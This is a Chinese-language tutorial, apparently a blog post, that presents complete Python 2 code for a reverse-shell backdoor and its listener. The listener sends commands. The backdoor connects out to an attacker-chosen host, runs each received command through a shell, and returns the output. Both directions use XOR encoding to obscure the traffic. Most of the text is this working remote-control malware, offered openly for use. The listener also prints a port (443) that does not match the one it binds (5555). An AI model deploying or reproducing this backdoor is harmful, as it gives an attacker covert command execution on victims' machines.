服务端(监听端):
建立套接字编程
绑定端口
监听
连接到后门
发送信息(例如命令whoami之类的)
接收到后门返回的信息
后门(客服端):
建立套接字
连接服务器
接收服务器返回的信息
处理后返回给服务器
程序:
服务端(监听端):
#!/usr/bin/python
import socket
s = socket.socket(socket.AF_INET,socket.SOCK_STREAM) #套接字
s.bind(("0.0.0.0",5555)) #绑定在5555端口
s.listen(2048) #监听
print "listening on port 443...."
(client,(ip,port)) = s.accept() #接收到返回
print "recived connection from :",ip
while True:
command = raw_input('>')
encode = bytearray(command)
#bytearray([source [, encoding [, errors]]])返回一个byte数组。如果source为字符串,则按照指定的encoding将字符串转换为字节序列;
for i in range(len(encode)): #遍历经过bytearray处理后的encode
encode[i]^=0x41 #对输入的信息进行编码 ^(异或)
client.send(encode) #发送我们输入的信息(编码后的)到后门
#以上是连接到后门shell后,用户输入信息,处理后发送给shell
#下面等待shell返回的信息,在进行解码处理
en_data = client.recv(2048) #接收到返回的信息
decode = bytearray(en_data)
for i in range(len(decode)):
decode[i]^=0x41 #解码
print decode #打印出来
client.close()
s.close()
bytearray参考
http://www.pythontab.com/html/2013/hanshu_0124/165.html
如果想要修改一个字节串中的某个字节,不能够直接修改,需要将其转化为bytearray后再进行修改
http://www.jb51.net/article/78831.htm
后门(客服端):
#!/usr/bin/python
import socket, subprocess, sys
RHOST = sys.argv[1]
RPORT = 5555
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((RHOST,RPORT))
while True:
data = s.recv(1024) #接收服务器传来的信息
en_data = bytearray(data) # 把信息进行bytearray处理
for i in range(len(en_data)): #遍历
en_data[i]^=0x41 #解码(服务器发送过的是经过编码的)
comn = subprocess.Popen(str(en_data),shell = True, stdout = subprocess.PIPE, stderr = subprocess.PIPE, stdin = subprocess.PIPE) #shell=Ture 表示在shell环境解释
#subprocess.Popen用来执行系统命令
comn.wait() #stdin, stdout, stderr分别表示程序的标准输入、输出、错误句柄。
STDOUT,STDERR = comn.communicate() # comn.communicate()防止阻塞
print STDERR
en_STDOUT = bytearray(STDOUT) #对输出STDOUT进行处理
for i in range(len(en_STDOUT)):
en_STDOUT[i]^=0x41 #编码
s.send(en_STDOUT) #发送回服务器
s.close()
#接收到服务器发送过来的信息,解码后,调用子进程,标准输入输出(subprocess.Popen),执行服务器发送过来的信息,然后输出STDOUT,再编码,发送回去给服务器。
subprocess.Popen参考http://www.cnblogs.com/zhoug2020/p/5079407.html